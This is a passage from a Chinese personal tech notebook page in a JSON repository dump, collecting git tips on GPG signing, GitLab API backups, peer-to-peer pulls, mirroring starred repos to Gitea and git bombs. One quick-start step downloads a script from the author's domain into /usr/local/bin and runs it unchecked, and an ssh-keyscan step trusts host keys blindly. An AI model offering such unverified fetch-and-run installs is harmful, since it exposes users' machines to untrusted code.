http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too</p>\n<p>执行了一些修改引入新功能，但还不能工作，决定建立一个dev分支：</p>\n<div class=\"codehilite\"><pre><span></span><code>git checkout -b dev\n</code></pre></div>\n\n<p>现在再执行<code>git add</code>，<code>git commit</code>后，需要把新的分支push给远程服务器：</p>\n<div class=\"codehilite\"><pre><span></span><code>git push -u origin dev\n</code></pre></div>\n\n<hr />\n<h2 id=\"gpggit\">用gpg给git提交签名<a class=\"headerlink\" href=\"#gpggit\" title=\"Permanent link\">&para;</a></h2>\n<p>参考：https://help.github.com/articles/signing-commits-with-gpg/</p>\n<p>下述以ubuntu16.04（其实是bash on win10）讲解整个过程</p>\n<h3 id=\"gpg2\">安装gpg2<a class=\"headerlink\" href=\"#gpg2\" title=\"Permanent link\">&para;</a></h3>\n<p>查看gpg版本：<code>gpg --version</code>发现版本是<code>gpg (GnuPG) 1.4.20</code>，而教程要求要2以上，所以先要安装gpg2，并告诉git我们要使用gpg2：</p>\n<div class=\"codehilite\"><pre><span></span><code>apt install -y gpg2\ngit config --global gpg.program gpg2\n</code></pre></div>\n\n<h3 id=\"key\">创建一个新的key<a class=\"headerlink\" href=\"#key\" title=\"Permanent link\">&para;</a></h3>\n<p>这里github给出的命令有问题，google发现参数改了</p>\n<div class=\"codehilite\"><pre><span></span><code>gpg2 --full-gen-key\n</code></pre></div>\n\n<p>回车选择RSA and RSA，然后输入密钥大小输入4096，然后回车永不过期，确认y，然后输入自己的名字和邮箱 注意这里邮箱要和git commit用到的邮箱一致</p>\n<h3 id=\"key-github\">导出key的公钥 在github设置中提交<a class=\"headerlink\" href=\"#key-github\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>gpg2 --list-secret-keys --keyid-format LONG\n</code></pre></div>\n\n<p>如下输出中，我们需要的是3AA5C34371567BD2这一串 就是sec那一行的4096R/后面的东西</p>\n<div class=\"codehilite\"><pre><span></span><code>$<span class=\"w\"> </span>gpg2<span class=\"w\"> </span>--list-secret-keys<span class=\"w\"> </span>--keyid-format<span class=\"w\"> </span>LONG\n/Users/hubot/.gnupg/secring.gpg\n------------------------------------\nsec<span class=\"w\">   </span>4096R/3AA5C34371567BD2<span class=\"w\"> </span><span class=\"m\">2016</span>-03-10<span class=\"w\"> </span><span class=\"o\">[</span>expires:<span class=\"w\"> </span><span class=\"m\">2017</span>-03-10<span class=\"o\">]</span>\nuid<span class=\"w\">                          </span>Hubot<span class=\"w\"> </span>\nssb<span class=\"w\">   </span>4096R/42B317FD4BA89E7A<span class=\"w\"> </span><span class=\"m\">2016</span>-03-10\n</code></pre></div>\n\n<p>然后得到公钥：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">gpg2</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">armor</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">export</span><span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"n\">AA5C34371567BD2</span>\n</code></pre></div>\n\n<p>复制屏幕上输出的一大串，打开下面的网页 粘贴提交</p>\n<p>https://github.com/settings/gpg/new</p>\n<h3 id=\"gitgpg\">配置git使用gpg签名<a class=\"headerlink\" href=\"#gitgpg\" title=\"Permanent link\">&para;</a></h3>\n<p>告诉git默认使用这个key：</p>\n<div class=\"codehilite\"><pre><span></span><code>git config --global user.signingkey 3AA5C34371567BD2\ngit config --global commit.gpgsign true\n</code></pre></div>\n\n<p>执行 建议将这一行写入~/.bashrc：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">GPG_TTY</span><span class=\"o\">=$</span><span class=\"p\">(</span><span class=\"n\">tty</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>然后就是正常的git add .，git commit -m &ldquo;message&rdquo;咯</p>\n<p>gpg-agent会在后台运行，默认10分钟内不需要再次输入密码</p>\n<h3 id=\"gpg\">修改gpg要求再次输入密码的时间限制<a class=\"headerlink\" href=\"#gpg\" title=\"Permanent link\">&para;</a></h3>\n<p>10分钟的默认限制还是太短了，对于安全性要求不高的情景（比如自己的开源代码push到github），不妨设置为密码一直有效，直到gpg-agent重启</p>\n<p>下面的设置将限制改到1年，当然gpg-agent重启还是要再次输入密码的：</p>\n<div class=\"codehilite\"><pre><span></span><code>vi ~/.gnupg/gpg-agent.conf\n\ndefault-cache-ttl 34560000\nmax-cache-ttl 34560000\n</code></pre></div>\n\n<h2 id=\"gitlab-api\">使用GitLab API存储数据备份文件 不占用本地空间<a class=\"headerlink\" href=\"#gitlab-api\" title=\"Permanent link\">&para;</a></h2>\n<p>这里的需求是定时任务生成snapshot文件，打算传至免费存储作为备份，不想占用服务器硬盘去存储这个文件，也不想花钱买存储服务</p>\n<p>于是想到免费的gitlab.com的私有仓库，仓库数量无限，<a href=\"https://about.gitlab.com/2015/04/08/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo/\">每个repo可以存10GB</a></p>\n<p>使用API来提交可以避免占用本地空间</p>\n<p>其实本来打算用github的，但是github今天(20181022)挂了，于是就gitlab吧</p>\n<p>找到这个python sdk: https://python-gitlab.readthedocs.io/</p>\n<p>写点代码咯：上传当前目录的to_upload.jpg到uploaded.jpg，记得相应修改你的访问令牌和项目ID</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">TOKEN</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;...&#39;</span> <span class=\"c1\"># personal access token, https://gitlab.com/profile/personal_access_tokens</span>\n<span class=\"n\">REPO_ID</span> <span class=\"o\">=</span> <span class=\"mi\">123456</span> <span class=\"c1\"># after create project, you can see project ID in your repo homepage</span>\n<span class=\"n\">message</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;test commit&#39;</span>\n<span class=\"n\">target_filename</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;uploaded.jpg&#39;</span>\n<span class=\"n\">src_filename</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;to_upload.jpg&#39;</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">gitlab</span>\n<span class=\"kn\">import</span> <span class=\"nn\">base64</span>\n<span class=\"n\">gl</span><span class=\"o\">=</span><span class=\"n\">gitlab</span><span class=\"o\">.</span><span class=\"n\">Gitlab</span><span class=\"p\">(</span><span class=\"s1\">&#39;https://gitlab.com&#39;</span><span class=\"p\">,</span><span class=\"n\">private_token</span><span class=\"o\">=</span><span class=\"n\">TOKEN</span><span class=\"p\">)</span>\n<span class=\"n\">gl</span><span class=\"o\">.</span><span class=\"n\">auth</span><span class=\"p\">()</span>\n<span class=\"n\">p</span><span class=\"o\">=</span><span class=\"n\">gl</span><span class=\"o\">.</span><span class=\"n\">projects</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">REPO_ID</span><span class=\"p\">)</span>\n<span class=\"n\">filecontent</span> <span class=\"o\">=</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"n\">src_filename</span><span class=\"p\">,</span> <span class=\"s1\">&#39;rb&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">read</span><span class=\"p\">()</span>\n<span class=\"n\">data</span><span class=\"o\">=</span><span class=\"p\">{</span>\n    <span class=\"s1\">&#39;branch_name&#39;</span><span class=\"p\">:</span><span class=\"s1\">&#39;master&#39;</span><span class=\"p\">,</span> \n    <span class=\"s1\">&#39;branch&#39;</span><span class=\"p\">:</span><span class=\"s1\">&#39;master&#39;</span><span class=\"p\">,</span> \n    <span class=\"s1\">&#39;commit_message&#39;</span><span class=\"p\">:</span><span class=\"n\">message</span><span class=\"p\">,</span>\n    <span class=\"s1\">&#39;actions&#39;</span><span class=\"p\">:[{</span><span class=\"s1\">&#39;action&#39;</span><span class=\"p\">:</span><span class=\"s1\">&#39;create&#39;</span><span class=\"p\">,</span><span class=\"s1\">&#39;file_path&#39;</span><span class=\"p\">:</span><span class=\"n\">target_filename</span><span class=\"p\">,</span>\n                <span class=\"s1\">&#39;content&#39;</span><span class=\"p\">:</span><span class=\"n\">base64</span><span class=\"o\">.</span><span class=\"n\">b64encode</span><span class=\"p\">(</span><span class=\"n\">filecontent</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">(),</span>\n                <span class=\"s1\">&#39;encoding&#39;</span><span class=\"p\">:</span> <span class=\"s1\">&#39;base64&#39;</span><span class=\"p\">}]</span>\n<span class=\"p\">}</span>\n<span class=\"n\">c</span><span class=\"o\">=</span><span class=\"n\">p</span><span class=\"o\">.</span><span class=\"n\">commits</span><span class=\"o\">.</span><span class=\"n\">create</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"gitgit-pull\">在git服务器无法连接时点对点git pull<a class=\"headerlink\" href=\"#gitgit-pull\" title=\"Permanent link\">&para;</a></h2>\n<p>情景：客户端A和B使用gitlab服务器S，然后某天S无法连上了，但A和B之间可以直接通讯。B上开发了新代码，想让A获取到这个更新，如何最方便简单地在A上同步B上的代码更新呢？</p>\n<p>解决方案：用python开个简单的http服务器然后添加http的remote进行pull，注意先要让git解压pack文件</p>\n<div class=\"codehilite\"><pre><span></span><code>git update-server-info\npython3 -m http.server 6666\ngit remote add tmp http://ip-b:6666/.git/\ngit pull tmp master\n</code></pre></div>\n\n<p>问题来了：如果A访问不了B怎么办呢？通过<code>git format-patch HEAD~2..HEAD --stdout&gt;patchfile</code>生成patch文件再发过去<code>git am patchfile</code>，但这样可能会改变commit id</p>\n<hr />\n<h2 id=\"git_2\">git禁用压缩<a class=\"headerlink\" href=\"#git_2\" title=\"Permanent link\">&para;</a></h2>\n<p>如二进制的仓库不想使用压缩，参考: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side</p>\n<div class=\"codehilite\"><pre><span></span><code>git config --add core.bigFileThreshold 1\n</code></pre></div>\n\n<hr />\n<h2 id=\"githubssh-key-ghclone\">GitHub不同仓库使用不同ssh key: ghclone<a class=\"headerlink\" href=\"#githubssh-key-ghclone\" title=\"Permanent link\">&para;</a></h2>\n<p>GitHub要求不同仓库的deploy key不同，但ssh config只能为一个Host设置相同的key</p>\n<p>从<a href=\"https://gist.github.com/gubatron/d96594d982c5043be6d4\">这里</a>发现了一个trick：<code>*.github.com</code>都是可以正常解析到github的，这样就得到了无数个Host</p>\n<p>快速使用：</p>\n<div class=\"codehilite\"><pre><span></span><code>curl https://d.py3.io/ghclone &gt; /usr/local/bin/ghclone\nchmod +x /usr/local/bin/ghclone\nghclone user/repo\n</code></pre></div>\n\n<p>会为这个repo创建一个ssh key放在<code>~/.ssh</code>目录下，同时修改<code>~/.ssh/config</code>，然后显示出公钥，需要手动添加到github，最后回车就会开始git clone</p>\n<p>Done.</p>\n<p>如果是一个已经存在的仓库，最后一步不用回车Ctrl+C后:</p>\n<div class=\"codehilite\"><pre><span></span><code>git remote set-url origin git@{repo}.github.com:{user}/{repo}.git\n</code></pre></div>\n\n<h2 id=\"git_3\">启动一个临时的Git服务器 本地之间同步<a class=\"headerlink\" href=\"#git_3\" title=\"Permanent link\">&para;</a></h2>\n<p>场景： GitLab服务器宕机了，现在需要同步自己本地的修改到服务器上</p>\n<p>参考： https://datagrok.org/git/git-serve/</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># 自己机器上（有更多commit的）</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">global</span><span class=\"w\"> </span><span class=\"n\">alias</span><span class=\"o\">.</span><span class=\"n\">quickserve</span><span class=\"w\"> </span><span class=\"s2\">&quot;daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/&quot;</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">quickserve</span>\n\n<span class=\"c1\"># 服务器上（需要pull得到commit的）</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"k\">remote</span><span class=\"w\"> </span><span class=\"n\">add</span><span class=\"w\"> </span><span class=\"n\">temp</span><span class=\"w\"> </span><span class=\"n\">git</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"mf\">192.168</span><span class=\"o\">.</span><span class=\"mf\">1.123</span><span class=\"o\">/</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">pull</span><span class=\"w\"> </span><span class=\"n\">temp</span><span class=\"w\"> </span><span class=\"k\">master</span>\n</code></pre></div>\n\n<p>同步完成后就可以Ctrl+C关闭git服务了</p>\n<div class=\"admonition note\">\n<p class=\"admonition-title\">Note</p>\n<p>git末尾的/不可缺省，不然报错fatal: No path specified. See &lsquo;man git-pull&rsquo; for valid url syntax\ngit pull的分支名称master也不能省略</p>\n</div>\n<hr />\n<h2 id=\"githubstar\">备份GitHub上自己star过的仓库<a class=\"headerlink\" href=\"#githubstar\" title=\"Permanent link\">&para;</a></h2>\n<p>自从GitHub被微软收购后，似乎就崩得更频繁了，为了在这种情况下仍然能读代码，不妨跑一下定时脚本，自动pull指定仓库push到其他git服务上（如自行部署gitea）。</p>\n<p>获取自己star过的所有仓库：（依赖<code>apt install -y jq</code>）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span>i<span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"sb\">`</span>seq<span class=\"w\"> </span><span class=\"m\">28</span><span class=\"sb\">`</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">do</span><span class=\"w\"> </span>curl<span class=\"w\"> </span><span class=\"s2\">&quot;https://api.github.com/users/zjuchenyuan/starred?page=</span><span class=\"si\">${</span><span class=\"nv\">i</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span>&gt;<span class=\"si\">${</span><span class=\"nv\">i</span><span class=\"si\">}</span>.tmp<span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">done</span>\ncat<span class=\"w\"> </span>*.tmp<span class=\"w\"> </span><span class=\"p\">|</span>jq<span class=\"w\"> </span><span class=\"s1\">&#39;.[].full_name&#39;</span><span class=\"w\"> </span>-r<span class=\"w\"> </span>&gt;<span class=\"w\"> </span>mystars.txt\n</code></pre></div>\n\n<p>sync.sh: </p>\n<p>从github clone或fetch对应的仓库，然后push到自己的git服务上，这里使用bare避免checkout导致的更多空间占用</p>\n<p>TODO: 注意到仍然是双份的空间占用（同步和gitea都存了），需要看看能不能直接从gitea的git存储发起fetch更新</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nv\">u</span><span class=\"o\">=</span><span class=\"sb\">`</span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">1</span><span class=\"si\">}</span><span class=\"p\">|</span>cut<span class=\"w\"> </span>-d/<span class=\"w\"> </span>-f1<span class=\"sb\">`</span>\n<span class=\"nv\">n</span><span class=\"o\">=</span><span class=\"sb\">`</span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">1</span><span class=\"si\">}</span><span class=\"p\">|</span>cut<span class=\"w\"> </span>-d/<span class=\"w\"> </span>-f2<span class=\"sb\">`</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span>-z<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$u</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span>-z<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"nv\">$n</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">    </span><span class=\"nb\">echo</span><span class=\"w\"> </span>Usage:<span class=\"w\"> </span><span class=\"nv\">$0</span><span class=\"w\"> </span>user/reponame\n<span class=\"w\">    </span><span class=\"nb\">exit</span><span class=\"w\"> </span><span class=\"m\">1</span>\n<span class=\"k\">fi</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span>-d<span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span><span class=\"s2\">_</span><span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span><span class=\"o\">]</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">    </span><span class=\"nb\">cd</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span><span class=\"s2\">_</span><span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span>\n<span class=\"w\">    </span>git<span class=\"w\"> </span>fetch<span class=\"w\"> </span>--all\n<span class=\"w\">    </span>git<span class=\"w\"> </span>push<span class=\"w\"> </span>--all<span class=\"w\"> </span>sync\n<span class=\"k\">else</span>\n<span class=\"w\">    </span>git<span class=\"w\"> </span>clone<span class=\"w\"> </span>https://github.com/<span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span>/<span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span><span class=\"s2\">_</span><span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span><span class=\"w\"> </span>--bare\n<span class=\"w\">    </span><span class=\"nb\">cd</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span><span class=\"s2\">_</span><span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span>\n<span class=\"w\">    </span>git<span class=\"w\"> </span>fetch<span class=\"w\"> </span>--all\n<span class=\"w\">    </span>git<span class=\"w\"> </span>remote<span class=\"w\"> </span>add<span class=\"w\"> </span>sync<span class=\"w\"> </span>git@你的git服务地址:你的用户名/<span class=\"si\">${</span><span class=\"nv\">u</span><span class=\"si\">}</span>_<span class=\"si\">${</span><span class=\"nv\">n</span><span class=\"si\">}</span>.git\n<span class=\"w\">    </span>git<span class=\"w\"> </span>push<span class=\"w\"> </span>--all<span class=\"w\"> </span>sync\n<span class=\"k\">fi</span>\n<span class=\"nb\">cd</span><span class=\"w\"> </span>..\n</code></pre></div>\n\n<h2 id=\"git-clonepushsshyes\">git clone和push避免输入ssh询问的yes<a class=\"headerlink\" href=\"#git-clonepushsshyes\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>mkdir -p ~/.ssh\nssh-keyscan 你的git服务地址 &gt;&gt; ~/.ssh/known_host\n</code></pre></div>\n\n<div class=\"admonition note\">\n<p class=\"admonition-title\">Note</p>\n<p>这个方案并不安全，容易遭受中间人攻击，你应该事先在安全的网络下获取正确的ssh key后直接将指纹写入known_host。\n不过就算不自动化你也会自己回答yes，本质上一样hhh</p>\n</div>\n<h2 id=\"gitea\">部署gitea<a class=\"headerlink\" href=\"#gitea\" title=\"Permanent link\">&para;</a></h2>\n<p>https://hub.docker.com/r/gitea/gitea</p>\n<p>按照官方给出的docker-compose部署即可，安装时需要留心：smtp的host需要包含端口，登录用户名是完整的邮箱</p>\n<p>然后需要修改配置，允许用户在push一个不存在的仓库时自动创建，参见<a href=\"https://github.com/go-gitea/gitea/issues/8162\">这个issue</a> 和 <a href=\"https://docs.gitea.io/en-us/config-cheat-sheet/\">conf配置文档</a></p>\n<p>需要在app.ini的<code>[repository]</code>一节中加入：</p>\n<div class=\"codehilite\"><pre><span></span><code>ENABLE_PUSH_CREATE_USER = true\nENABLE_PUSH_CREATE_ORG = true\n</code></pre></div>\n\n<div class=\"admonition warning\">\n<p class=\"admonition-title\">小心git bomb</p>\n<p>实际测试发现 对<a href=\"https://github.com/Katee/git-bomb\">git bomb</a>这种仓库 checkout就会占满全部内存\n即使使用上述脚本只同步bare仓库，gitea会启动git show命令，仍然会炸内存（但似乎kill掉这个命令后网页显示也是正常的）</p>\n</div>\n<hr />\n<h2 id=\"gitcommit\">Git查询特定commit时间<a class=\"headerlink\" href=\"#gitcommit\" title=\"Permanent link\">&para;</a></h2>\n<p>https://stackoverflow.com/questions/3814926/git-commit-date</p>\n<p>获取时间戳：<code>git show -s --format=%ct COMMIT_ID</code></p>\n<hr />\n<h2 id=\"githubreleases\">GitHub查询所有releases<a class=\"headerlink\" href=\"#githubreleases\" title=\"Permanent link\">&para;</a></h2>\n<p>https://docs.github.com/en/rest/reference/repos#releases</p>\n<p>https://api.github.com/repos/octocat/hello-world/releases?per_page=100&amp;page=1</p>\n<hr />\n<h2 id=\"git-diff\">git diff显示修改后行号<a class=\"headerlink\" href=\"#git-diff\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： <a href=\"https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers\">https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers</a></p>\n<div class=\"codehilite\"><pre><span></span><code>diff-lines()<span class=\"w\"> </span>{\n<span class=\"w\">    </span>local<span class=\"w\"> </span>path=\n<span class=\"w\">    </span>local<span class=\"w\"> </span>line=\n<span class=\"w\">    </span>while<span class=\"w\"> </span>read;<span class=\"w\"> </span>do\n<span class=\"w\">        </span>esc=$&#39;\\033&#39;\n<span class=\"w\">        </span>if<span class=\"w\"> </span>[[<span class=\"w\"> </span><span class=\"nv\">$REPLY</span><span class=\"w\"> </span>=~<span class=\"w\"> </span>---\\<span class=\"w\"> </span>(a/)?.*<span class=\"w\"> </span>]];<span class=\"w\"> </span>then\n<span class=\"w\">            </span>continue\n<span class=\"w\">        </span>elif<span class=\"w\"> </span>[[<span class=\"w\"> </span><span class=\"nv\">$REPLY</span><span class=\"w\"> </span>=~<span class=\"w\"> </span>\\+\\+\\+\\<span class=\"w\"> </span>(b/)?([^[:blank:]<span class=\"nv\">$esc</span>]+).*<span class=\"w\"> </span>]];<span class=\"w\"> </span>then\n<span class=\"w\">            </span>path=<span class=\"cp\">${</span><span class=\"n\">BASH_REMATCH</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"cp\">}</span>\n<span class=\"w\">        </span>elif<span class=\"w\"> </span>[[<span class=\"w\"> </span><span class=\"nv\">$REPLY</span><span class=\"w\"> </span>=~<span class=\"w\"> </span>@@\\<span class=\"w\"> </span>-[0-9]+(,[0-9]+)?\\<span class=\"w\"> </span>\\+([0-9]+)(,[0-9]+)?\\<span class=\"w\"> </span>@@.*<span class=\"w\"> </span>]];<span class=\"w\"> </span>then\n<span class=\"w\">            </span>line=<span class=\"cp\">${</span><span class=\"n\">BASH_REMATCH</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"cp\">}</span>\n<span class=\"w\">        </span>elif<span class=\"w\"> </span>[[<span class=\"w\"> </span><span class=\"nv\">$REPLY</span><span class=\"w\"> </span>=~<span class=\"w\"> </span>^(<span class=\"nv\">$esc</span>\\[[0-9;]+m)*([\\<span class=\"w\"> </span>+-])<span class=\"w\"> </span>]];<span class=\"w\"> </span>then\n<span class=\"w\">            </span>echo<span class=\"w\"> </span>&quot;<span class=\"nv\">$path</span>:<span class=\"nv\">$line</span>:<span class=\"nv\">$REPLY</span>&quot;\n<span class=\"w\">            </span>if<span class=\"w\"> </span>[[<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">BASH_REMATCH</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"cp\">}</span><span class=\"w\"> </span>!=<span class=\"w\"> </span>-<span class=\"w\"> </span>]];<span class=\"w\"> </span>then\n<span class=\"w\">                </span>((line++))\n<span class=\"w\">            </span>fi\n<span class=\"w\">        </span>fi\n<span class=\"w\">    </span>done\n}\n</code></pre></div>\n\n<p>用法：<code>git diff commit^ commit -U0|diff-lines</code></p>\n<hr />\n<h2 id=\"gittagcommit\">git导出tag与commit关系<a class=\"headerlink\" href=\"#gittagcommit\" title=\"Permanent link\">&para;</a></h2>\n<p>有些时候需要将commit翻译成对应的tag，可以先这样导出再查询：</p>\n<div class=\"codehilite\"><pre><span></span><code>git<span class=\"w\"> </span>tag|while<span class=\"w\"> </span>read<span class=\"w\"> </span>i;<span class=\"w\"> </span>do<span class=\"w\"> </span>echo<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span><span class=\"w\"> </span>`git<span class=\"w\"> </span>log<span class=\"w\"> </span>-1<span class=\"w\"> </span>--format=&#39;%H&#39;<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span>`;<span class=\"w\"> </span>done<span class=\"w\"> </span>&gt;<span class=\"w\"> </span>tags.txt\n</code></pre></div>\n\n<p>虽然git tag也有<code>--format</code>参数，但没找到可以显示tag对应commit的方法，那就还是老老实实git log呗</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/GithubProjectRecommendation/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Favorites/\">\n      \n      \n        <link rel=\"next\" href=\"../Links/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Github Project Recommendation - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#you-get\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  